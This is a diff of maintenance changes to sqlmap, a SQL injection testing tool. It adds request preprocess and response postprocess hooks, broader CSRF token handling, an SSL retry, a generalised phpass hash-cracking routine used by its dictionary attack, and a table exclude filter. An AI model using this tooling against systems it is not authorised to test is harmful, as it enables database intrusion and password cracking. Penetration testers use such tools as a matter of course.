page = page[3:]
|
||||||
|
|
||||||
page = getUnicode(page, kb.pageEncoding)
|
page = getUnicode(page, kb.pageEncoding)
|
||||||
@@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
|
|||||||
if msg:
|
if msg:
|
||||||
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
|
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
|
||||||
|
|
||||||
if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
||||||
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
|
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
|
||||||
|
|
||||||
identYwaf.non_blind.clear()
|
identYwaf.non_blind.clear()
|
||||||
|
|||||||
+21
-6
@@ -501,6 +501,16 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
return None, None, None
|
return None, None, None
|
||||||
|
|
||||||
|
for function in kb.preprocessFunctions:
|
||||||
|
try:
|
||||||
|
function(req)
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "error occurred while running preprocess "
|
||||||
|
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
else:
|
||||||
|
post, headers = req.data, req.headers
|
||||||
|
|
||||||
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
|
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||||
|
|
||||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||||
@@ -539,7 +549,7 @@ class Connect(object):
|
|||||||
conn = _urllib.request.urlopen(req)
|
conn = _urllib.request.urlopen(req)
|
||||||
|
|
||||||
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
|
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
|
||||||
kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
|
kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
|
||||||
|
|
||||||
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
|
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
|
||||||
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
|
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
|
||||||
@@ -815,11 +825,11 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
page = getUnicode(page)
|
page = getUnicode(page)
|
||||||
|
|
||||||
for function in kb.preprocessFunctions:
|
for function in kb.postprocessFunctions:
|
||||||
try:
|
try:
|
||||||
page, responseHeaders, code = function(page, responseHeaders, code)
|
page, responseHeaders, code = function(page, responseHeaders, code)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
errMsg = "error occurred while running preprocess "
|
errMsg = "error occurred while running postprocess "
|
||||||
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
@@ -1089,6 +1099,9 @@ class Connect(object):
|
|||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
|
if not match:
|
||||||
|
match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if match:
|
if match:
|
||||||
token.name, token.value = match.group("name"), match.group("value")
|
token.name, token.value = match.group("name"), match.group("value")
|
||||||
|
|
||||||
@@ -1125,11 +1138,13 @@ class Connect(object):
|
|||||||
if token:
|
if token:
|
||||||
token.value = token.value.strip("'\"")
|
token.value = token.value.strip("'\"")
|
||||||
|
|
||||||
for candidate in (PLACE.GET, PLACE.POST):
|
for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
|
||||||
if candidate in conf.parameters:
|
if candidate in conf.parameters:
|
||||||
if candidate == PLACE.GET and get:
|
if candidate == PLACE.URI and uri:
|
||||||
|
uri = _adjustParameter(uri, token.name, token.value)
|
||||||
|
elif candidate == PLACE.GET and get:
|
||||||
get = _adjustParameter(get, token.name, token.value)
|
get = _adjustParameter(get, token.name, token.value)
|
||||||
elif candidate == PLACE.POST and post:
|
elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
|
||||||
post = _adjustParameter(post, token.name, token.value)
|
post = _adjustParameter(post, token.name, token.value)
|
||||||
|
|
||||||
for i in xrange(len(conf.httpHeaders)):
|
for i in xrange(len(conf.httpHeaders)):
|
||||||
|
|||||||
@@ -11,6 +11,8 @@ import socket
|
|||||||
|
|
||||||
from lib.core.common import filterNone
|
from lib.core.common import filterNone
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.compat import xrange
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
@@ -43,6 +45,8 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
_contexts[None] = ssl._create_default_https_context()
|
_contexts[None] = ssl._create_default_https_context()
|
||||||
kwargs["context"] = _contexts[None]
|
kwargs["context"] = _contexts[None]
|
||||||
|
|
||||||
|
self.retrying = False
|
||||||
|
|
||||||
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
|
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
@@ -58,7 +62,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
|
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
|
||||||
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
|
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
|
||||||
try:
|
try:
|
||||||
sock = create_sock()
|
sock = create_sock()
|
||||||
if protocol not in _contexts:
|
if protocol not in _contexts:
|
||||||
@@ -101,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
|||||||
# Reference: https://docs.python.org/2/library/ssl.html
|
# Reference: https://docs.python.org/2/library/ssl.html
|
||||||
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
|
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
|
||||||
errMsg += " (please retry with Python >= 2.7.9)"
|
errMsg += " (please retry with Python >= 2.7.9)"
|
||||||
|
|
||||||
|
if kb.sslSuccess and not self.retrying:
|
||||||
|
self.retrying = True
|
||||||
|
|
||||||
|
for _ in xrange(conf.retries):
|
||||||
|
try:
|
||||||
|
self.connect()
|
||||||
|
except SqlmapConnectionException:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
return
|
||||||
|
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
else:
|
||||||
|
kb.sslSuccess = True
|
||||||
|
|
||||||
class HTTPSHandler(_urllib.request.HTTPSHandler):
|
class HTTPSHandler(_urllib.request.HTTPSHandler):
|
||||||
def https_open(self, req):
|
def https_open(self, req):
|
||||||
|
|||||||
@@ -153,18 +153,17 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||||||
result.info()
|
result.info()
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
def _(self):
|
def _(self):
|
||||||
return getattr(self, "hdrs") or {}
|
return getattr(self, "hdrs", {})
|
||||||
|
|
||||||
result.info = types.MethodType(_, result)
|
result.info = types.MethodType(_, result)
|
||||||
|
|
||||||
if not hasattr(result, "read"):
|
if not hasattr(result, "read"):
|
||||||
def _(self, length=None):
|
def _(self, length=None):
|
||||||
try:
|
try:
|
||||||
retVal = getSafeExString(ex)
|
retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
|
||||||
except:
|
except:
|
||||||
retVal = ""
|
retVal = ""
|
||||||
finally:
|
return retVal
|
||||||
return retVal
|
|
||||||
|
|
||||||
result.read = types.MethodType(_, result)
|
result.read = types.MethodType(_, result)
|
||||||
|
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import openFile
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -48,7 +49,7 @@ class Registry(object):
|
|||||||
)
|
)
|
||||||
|
|
||||||
def _createLocalBatchFile(self):
|
def _createLocalBatchFile(self):
|
||||||
self._batPathFp = open(self._batPathLocal, "w")
|
self._batPathFp = openFile(self._batPathLocal, "w")
|
||||||
|
|
||||||
if self._operation == REGISTRY_OPERATION.READ:
|
if self._operation == REGISTRY_OPERATION.READ:
|
||||||
lines = self._batRead
|
lines = self._batRead
|
||||||
|
|||||||
+2
-1
@@ -61,6 +61,7 @@ from thirdparty.bottle.bottle import request
|
|||||||
from thirdparty.bottle.bottle import response
|
from thirdparty.bottle.bottle import response
|
||||||
from thirdparty.bottle.bottle import run
|
from thirdparty.bottle.bottle import run
|
||||||
from thirdparty.bottle.bottle import server_names
|
from thirdparty.bottle.bottle import server_names
|
||||||
|
from thirdparty import six
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
from thirdparty.six.moves import input as _input
|
from thirdparty.six.moves import input as _input
|
||||||
from thirdparty.six.moves import urllib as _urllib
|
from thirdparty.six.moves import urllib as _urllib
|
||||||
@@ -717,7 +718,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
|
|||||||
errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys())))
|
errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys())))
|
||||||
else:
|
else:
|
||||||
errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
|
errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
|
||||||
errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
|
errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter)
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
|
|
||||||
def _client(url, options=None):
|
def _client(url, options=None):
|
||||||
|
|||||||
+24
-11
@@ -33,6 +33,7 @@ else:
|
|||||||
import base64
|
import base64
|
||||||
import binascii
|
import binascii
|
||||||
import gc
|
import gc
|
||||||
|
import math
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import tempfile
|
import tempfile
|
||||||
@@ -481,14 +482,20 @@ def vbulletin_passwd(password, salt, **kwargs):
|
|||||||
|
|
||||||
return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt)
|
return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt)
|
||||||
|
|
||||||
def wordpress_passwd(password, salt, count, prefix, **kwargs):
|
def phpass_passwd(password, salt, count, prefix, **kwargs):
|
||||||
"""
|
"""
|
||||||
Reference(s):
|
Reference(s):
|
||||||
https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt
|
https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt
|
||||||
http://scriptserver.mainframe8.com/wordpress_password_hasher.php
|
http://scriptserver.mainframe8.com/wordpress_password_hasher.php
|
||||||
|
https://www.openwall.com/phpass/
|
||||||
|
https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py
|
||||||
|
|
||||||
>>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp')
|
>>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$')
|
||||||
'$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0'
|
'$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0'
|
||||||
|
>>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$')
|
||||||
|
'$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/'
|
||||||
|
>>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$')
|
||||||
|
'$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _encode64(input_, count):
|
def _encode64(input_, count):
|
||||||
@@ -523,18 +530,24 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
|
|||||||
return output
|
return output
|
||||||
|
|
||||||
password = getBytes(password)
|
password = getBytes(password)
|
||||||
salt = getBytes(salt)
|
f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix]
|
||||||
|
|
||||||
cipher = md5(salt)
|
cipher = f(getBytes(salt))
|
||||||
cipher.update(password)
|
cipher.update(password)
|
||||||
hash_ = cipher.digest()
|
hash_ = cipher.digest()
|
||||||
|
|
||||||
for i in xrange(count):
|
for i in xrange(count):
|
||||||
_ = md5(hash_)
|
_ = f(hash_)
|
||||||
_.update(password)
|
_.update(password)
|
||||||
hash_ = _.digest()
|
hash_ = _.digest()
|
||||||
|
|
||||||
return "%s%s" % (prefix, _encode64(hash_, 16))
|
retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_)))
|
||||||
|
|
||||||
|
if prefix == "$S$":
|
||||||
|
# Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x
|
||||||
|
retVal = retVal[:55]
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
__functions__ = {
|
__functions__ = {
|
||||||
HASH.MYSQL: mysql_passwd,
|
HASH.MYSQL: mysql_passwd,
|
||||||
@@ -555,7 +568,7 @@ __functions__ = {
|
|||||||
HASH.JOOMLA: joomla_passwd,
|
HASH.JOOMLA: joomla_passwd,
|
||||||
HASH.DJANGO_MD5: django_md5_passwd,
|
HASH.DJANGO_MD5: django_md5_passwd,
|
||||||
HASH.DJANGO_SHA1: django_sha1_passwd,
|
HASH.DJANGO_SHA1: django_sha1_passwd,
|
||||||
HASH.WORDPRESS: wordpress_passwd,
|
HASH.PHPASS: phpass_passwd,
|
||||||
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
||||||
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
||||||
HASH.APACHE_SHA1: apache_sha1_passwd,
|
HASH.APACHE_SHA1: apache_sha1_passwd,
|
||||||
@@ -965,7 +978,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
try:
|
try:
|
||||||
item = None
|
item = None
|
||||||
|
|
||||||
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||||
hash_ = hash_.lower()
|
hash_ = hash_.lower()
|
||||||
|
|
||||||
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
|
||||||
@@ -994,9 +1007,9 @@ def dictionaryAttack(attack_dict):
|
|||||||
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
|
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
|
||||||
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
|
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
|
||||||
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
|
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
|
||||||
elif hash_regex in (HASH.WORDPRESS,):
|
elif hash_regex in (HASH.PHPASS,):
|
||||||
if ITOA64.index(hash_[3]) < 32:
|
if ITOA64.index(hash_[3]) < 32:
|
||||||
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
|
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
|
||||||
else:
|
else:
|
||||||
warnMsg = "invalid hash '%s'" % hash_
|
warnMsg = "invalid hash '%s'" % hash_
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -1024,7 +1037,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
while not kb.wordlists:
|
while not kb.wordlists:
|
||||||
|
|
||||||
# the slowest of all methods hence smaller default dict
|
# the slowest of all methods hence smaller default dict
|
||||||
if hash_regex in (HASH.ORACLE_OLD,):
|
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
|
||||||
dictPaths = [paths.SMALL_DICT]
|
dictPaths = [paths.SMALL_DICT]
|
||||||
else:
|
else:
|
||||||
dictPaths = [paths.WORDLIST]
|
dictPaths = [paths.WORDLIST]
|
||||||
|
|||||||
@@ -525,6 +525,9 @@ class Databases(object):
|
|||||||
else:
|
else:
|
||||||
return kb.data.cachedColumns
|
return kb.data.cachedColumns
|
||||||
|
|
||||||
|
if conf.exclude:
|
||||||
|
tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None]
|
||||||
|
|
||||||
tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)
|
tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)
|
||||||
|
|
||||||
if bruteForce is None:
|
if bruteForce is None:
|
||||||
@@ -549,7 +552,7 @@ class Databases(object):
|
|||||||
resumeAvailable = True
|
resumeAvailable = True
|
||||||
break
|
break
|
||||||
|
|
||||||
if resumeAvailable and not conf.freshQueries or colList:
|
if resumeAvailable and not conf.freshQueries:
|
||||||
columns = {}
|
columns = {}
|
||||||
|
|
||||||
for column in colList:
|
for column in colList:
|
||||||
|
|||||||
@@ -172,7 +172,7 @@ class Entries(object):
|
|||||||
for column in colList:
|
for column in colList:
|
||||||
_ = agent.preprocessField(tbl, column)
|
_ = agent.preprocessField(tbl, column)
|
||||||
if _ != column:
|
if _ != column:
|
||||||
colString = re.sub(r"\b%s\b" % re.escape(column), _, colString)
|
colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString)
|
||||||
|
|
||||||
entriesCount = 0
|
entriesCount = 0
|
||||||
|
|
||||||
|
|||||||
@@ -410,9 +410,11 @@ class Search(object):
|
|||||||
|
|
||||||
if tblCond:
|
if tblCond:
|
||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
_ = conf.tbl.split(',')
|
tbls = conf.tbl.split(',')
|
||||||
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
if conf.exclude:
|
||||||
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
|
tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None]
|
||||||
|
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")"
|
||||||
|
infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls))
|
||||||
|
|
||||||
if conf.db == CURRENT_DB:
|
if conf.db == CURRENT_DB:
|
||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
@@ -450,9 +452,6 @@ class Search(object):
|
|||||||
for tbl in conf.tbl.split(','):
|
for tbl in conf.tbl.split(','):
|
||||||
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
|
values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD,):
|
|
||||||
values = [(conf.db, value) for value in arrayizeValue(values)]
|
|
||||||
|
|
||||||
for db, tbl in filterPairValues(values):
|
for db, tbl in filterPairValues(values):
|
||||||
db = safeSQLIdentificatorNaming(db)
|
db = safeSQLIdentificatorNaming(db)
|
||||||
tbls = tbl.split(',') if not isNoneValue(tbl) else []
|
tbls = tbl.split(',') if not isNoneValue(tbl) else []
|
||||||
|
|||||||
@@ -617,7 +617,8 @@ class Users(object):
|
|||||||
|
|
||||||
# In Informix we get one letter for the highest privilege
|
# In Informix we get one letter for the highest privilege
|
||||||
elif Backend.isDbms(DBMS.INFORMIX):
|
elif Backend.isDbms(DBMS.INFORMIX):
|
||||||
privileges.add(INFORMIX_PRIVS[privilege.strip()])
|
if privilege.strip() in INFORMIX_PRIVS:
|
||||||
|
privileges.add(INFORMIX_PRIVS[privilege.strip()])
|
||||||
|
|
||||||
# In DB2 we get Y or G if the privilege is
|
# In DB2 we get Y or G if the privilege is
|
||||||
# True, N otherwise
|
# True, N otherwise
|
||||||
|
|||||||
+8
-1
@@ -699,6 +699,10 @@ answers =
|
|||||||
# Parameter(s) containing Base64 encoded data
|
# Parameter(s) containing Base64 encoded data
|
||||||
base64Parameter =
|
base64Parameter =
|
||||||
|
|
||||||
|
# Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications).
|
||||||
|
# Valid: True or False
|
||||||
|
base64Safe = False
|
||||||
|
|
||||||
# Never ask for user input, use the default behaviour.
|
# Never ask for user input, use the default behaviour.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
batch = False
|
batch = False
|
||||||
@@ -765,9 +769,12 @@ outputDir =
|
|||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
parseErrors = False
|
parseErrors = False
|
||||||
|
|
||||||
# Use given script(s) for preprocessing of response data.
|
# Use given script(s) for preprocessing of request.
|
||||||
preprocess =
|
preprocess =
|
||||||
|
|
||||||
|
# Use given script(s) for postprocessing of response data.
|
||||||
|
postprocess =
|
||||||
|
|
||||||
# Redump entries having unknown character marker (?).
|
# Redump entries having unknown character marker (?).
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
repair = False
|
repair = False
|
||||||
|
|||||||
@@ -292,6 +292,11 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif "Insufficient system resources" in excMsg:
|
||||||
|
errMsg = "resource exhaustion detected"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif "OperationalError: disk I/O error" in excMsg:
|
elif "OperationalError: disk I/O error" in excMsg:
|
||||||
errMsg = "I/O error on output device"
|
errMsg = "I/O error on output device"
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
@@ -312,7 +317,7 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")):
|
elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")):
|
||||||
errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir()
|
errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir()
|
||||||
errMsg += "Please make sure that your disk is not full and "
|
errMsg += "Please make sure that your disk is not full and "
|
||||||
errMsg += "that you have sufficient write permissions to "
|
errMsg += "that you have sufficient write permissions to "
|
||||||
@@ -406,12 +411,12 @@ def main():
|
|||||||
dataToStdout(excMsg)
|
dataToStdout(excMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")):
|
elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module", "SAXReaderNotAvailable", "source code string cannot contain null bytes", "No module named", "tp_name field")):
|
||||||
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")):
|
elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")):
|
||||||
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
|
||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
@@ -423,6 +428,12 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")):
|
||||||
|
errMsg = "package 'python-ntlm' has a known compatibility issue with the "
|
||||||
|
errMsg += "Python 3 (Reference: https://github.com/mullender/python-ntlm/pull/61)"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
|
elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
|
||||||
errMsg = "there has been a problem in enumeration. "
|
errMsg = "there has been a problem in enumeration. "
|
||||||
errMsg += "Because of a considerable chance of false-positive case "
|
errMsg += "Because of a considerable chance of false-positive case "
|
||||||
@@ -464,9 +475,8 @@ def main():
|
|||||||
finally:
|
finally:
|
||||||
kb.threadContinue = False
|
kb.threadContinue = False
|
||||||
|
|
||||||
_ = getDaysFromLastUpdate()
|
if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS:
|
||||||
if _ > LAST_UPDATE_NAGGING_DAYS:
|
warnMsg = "your sqlmap version is outdated"
|
||||||
warnMsg = "you haven't updated sqlmap for more than %d days!!!" % _
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if conf.get("showTime"):
|
if conf.get("showTime"):
|
||||||
|
|||||||
@@ -0,0 +1,32 @@
|
|||||||
|
